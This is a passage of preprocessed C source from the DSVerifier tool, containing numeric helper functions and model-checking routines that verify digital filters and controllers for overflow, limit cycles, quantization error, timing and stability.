double atangent;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
atangent = aux;
if (precision >= 1)
{
aux = x;
atangent = aux;
if (precision >= 2)
{
aux = xsquared;
atangent -= aux/3;
if (precision >= 3)
{
aux = aux*xsquared;
atangent += aux/5;
if(precision >=4)
{
aux = aux*xsquared;
atangent -=aux/7;
if (precision >= 7)
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision representation exceeded. Assuming maximum precision of 4\n");
}
}
}
}
}
return atangent;
}
float sqrt1(const float x)
{
const float xhalf = 0.5f*x;
union
{
float x;
int i;
} u;
u.x = x;
u.i = 0x5f3759df - (u.i >> 1);
return x*u.x*(1.5f - xhalf*u.x*u.x);
}
float sqrt2(const float x)
{
union
{
int i;
float x;
} u;
u.x = x;
u.i = (1<<29) + (u.i >> 1) - (1<<22);
return u.x;
}
float fabsolut(float x)
{
if (x < 0)
x = -x;
return x;
}
static float sqrt3(float val)
{
float x = val/10;
float dx;
double diff;
double min_tol = 0.00001;
int i, flag;
flag = 0;
if (val == 0 ) x = 0;
else
{
for (i=1;i<20;i++)
{
if (!flag)
{
dx = (val - (x*x)) / (2.0 * x);
x = x + dx;
diff = val - (x*x);
if (fabsolut(diff) <= min_tol) flag = 1;
}
else x =x;
}
}
return (x);
}
# 31 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_overflow(void) {
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 73 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 129 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 174 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_overflow.h"
}
overflow_mode = 1;
fxp_verify_overflow_array(y, X_SIZE_VALUE);
return 0;
}
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 1
# 15 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
int verify_limit_cycle_state_space(void){
double stateMatrix[4][4];
double outputMatrix[4][4];
double arrayLimitCycle[4];
double result1[4][4];
double result2[4][4];
int i, j, k;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
stateMatrix[i][j]=0;
outputMatrix[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
k = 0;
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
int l;
for(l = 0; l < nStates; l++){
stateMatrix[l][k] = _controller.states[l][0];
}
for(l = 0; l < nOutputs; l++){
stateMatrix[l][k] = _controller.outputs[l][0];
}
k++;
}
printf("#matrix STATES -------------------------------");
print_matrix(stateMatrix,nStates,0);
printf("#matrix OUTPUTS -------------------------------");
print_matrix(outputMatrix,nOutputs,0);
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 93, __extension__ __PRETTY_FUNCTION__); }))
# 93 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
for(i=0; i<nStates;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = stateMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
for(i=0; i<nOutputs;i++){
for(j=0; j<0;j++){
arrayLimitCycle[j] = outputMatrix[i][j];
}
double_check_persistent_limit_cycle(arrayLimitCycle,0);
}
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
((void) sizeof ((
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
0
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
) ; else __assert_fail (
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
"0"
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h", 110, __extension__ __PRETTY_FUNCTION__); }))
# 110 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
;
}
int verify_limit_cycle(void){
overflow_mode = 3;
int i;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
__DSVERIFIER_assert(X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na);
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 168 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t xaux[ds.b_size];
int nondet_constant_input = nondet_int();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = nondet_constant_input;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t y0[ds.a_size];
fxp_t waux[Nw];
fxp_t w0[Nw];
# 206 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 234 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 278 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 34 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
extern digital_system ds;
extern implementation impl;
int verify_error(void){
overflow_mode = 2;
double a_cascade[100];
int a_cascade_size;
double b_cascade[100];
int b_cascade_size;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 69 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
double yf[X_SIZE_VALUE];
double xf[X_SIZE_VALUE];
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
double yfaux[ds.a_size];
double xfaux[ds.b_size];
double wfaux[Nw];
int i;
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
yfaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
xfaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
wfaux[i] = 0;
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_int();
__DSVERIFIER_assume(x[i] >= min_fxp && x[i] <= max_fxp);
yf[i] = 0.0f;
xf[i] = fxp_to_double(x[i]);
}
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 156 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
yf[i] = double_transposed_direct_form_2(wfaux, xf[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 169 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error.h"
double absolute_error = yf[i] - fxp_to_double(y[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 35 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 1
# 13 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
extern digital_system ds;
extern implementation impl;
int verify_zero_input_limit_cycle(void){
overflow_mode = 3;
int i,j;
int Set_xsize_at_least_two_times_Na = 2 * ds.a_size;
printf("X_SIZE must be at least 2 * ds.a_size");
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
((void) sizeof ((
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
) ; else __assert_fail (
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
"X_SIZE_VALUE >= Set_xsize_at_least_two_times_Na"
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h", 23, __extension__ __PRETTY_FUNCTION__); }))
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
;
fxp_t a_fxp[ds.a_size];
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
# 71 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
fxp_t y[X_SIZE_VALUE];
fxp_t x[X_SIZE_VALUE];
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = 0;
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
fxp_t yaux[ds.a_size];
fxp_t xaux[ds.b_size];
fxp_t waux[Nw];
fxp_t y0[ds.a_size];
fxp_t w0[Nw];
# 104 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= min_fxp && waux[i] <= max_fxp);
w0[i] = waux[i];
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
fxp_t xk, temp;
fxp_t *aptr, *bptr, *xptr, *yptr, *wptr;
for(i=0; i<X_SIZE_VALUE; ++i){
# 141 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
y[i] = fxp_transposed_direct_form_2(waux, x[i], a_fxp, b_fxp, ds.a_size, ds.b_size);
# 188 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_zero_input_limit_cycle.h"
}
fxp_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 36 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
extern hardware hw;
int generic_timer = 0;
int verify_generic_timing(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
double initial_timer = generic_timer;
for (i = 0; i < X_SIZE_VALUE; ++i) {
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.adiw) + (2 * hw.assembly.std));
generic_timer += ((2 * hw.assembly.ldd) + (1 * hw.assembly.cpi) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brlt));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
y[i] = generic_timing_double_transposed_direct_form_2(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
double spent_time = (((double) generic_timer) * hw.cycle);
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
((void) sizeof ((
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
spent_time <= ds.sample_time
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
) ; else __assert_fail (
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
"spent_time <= ds.sample_time"
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h", 89, __extension__ __PRETTY_FUNCTION__); }))
# 89 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_generic_timing.h"
;
generic_timer = initial_timer;
}
return 0;
}
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
int nondet_int();
float nondet_float();
extern digital_system ds;
extern implementation impl;
int verify_timing_msp_430(void) {
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
int i;
for (i = 0; i < X_SIZE_VALUE; ++i) {
y[i] = 0;
x[i] = nondet_float();
__DSVERIFIER_assume(x[i] >= impl.min && x[i] <= impl.max);
}
int Nw = 0;
Nw = ds.a_size > ds.b_size ? ds.a_size : ds.b_size;
double yaux[ds.a_size];
double xaux[ds.b_size];
double waux[Nw];
for (i = 0; i < ds.a_size; ++i) {
yaux[i] = 0;
}
for (i = 0; i < ds.b_size; ++i) {
xaux[i] = 0;
}
for (i = 0; i < Nw; ++i) {
waux[i] = 0;
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for (i = 0; i < X_SIZE_VALUE; ++i) {
# 75 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
y[i] = double_transposed_direct_form_2_MSP430(waux, x[i], ds.a, ds.b, ds.a_size, ds.b_size);
# 121 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_timing_msp430.h"
}
return 0;
}
# 38 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
extern digital_system ds;
extern implementation impl;
int verify_stability(void){
overflow_mode = 0;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
((void) sizeof ((
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
check_stability(_a, ds.a_size)
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
) ; else __assert_fail (
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
"check_stability(_a, ds.a_size)"
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h", 37, __extension__ __PRETTY_FUNCTION__); }))
# 37 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
;
# 83 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
return 0;
}
# 39 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h" 1
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
extern digital_system ds;
extern implementation impl;
int verify_minimum_phase(void){
overflow_mode = 0;
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
__DSVERIFIER_assert(check_stability(_b, ds.b_size));
# 85 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_minimum_phase.h"
return 0;
}
# 40 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_stability_closedloop_using_dslib(void){
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 68 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability_closedloop.h"
printf("Verifying stability for closedloop function\n");
__DSVERIFIER_assert(check_stability_closedloop(ans_den, ans_den_size, p_num, p_num_size, p_den, p_den_size));
return 0;
}
# 41 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
double nondet_double();
int verify_limit_cycle_closed_loop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 58 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
int i;
double y[X_SIZE_VALUE];
double x[X_SIZE_VALUE];
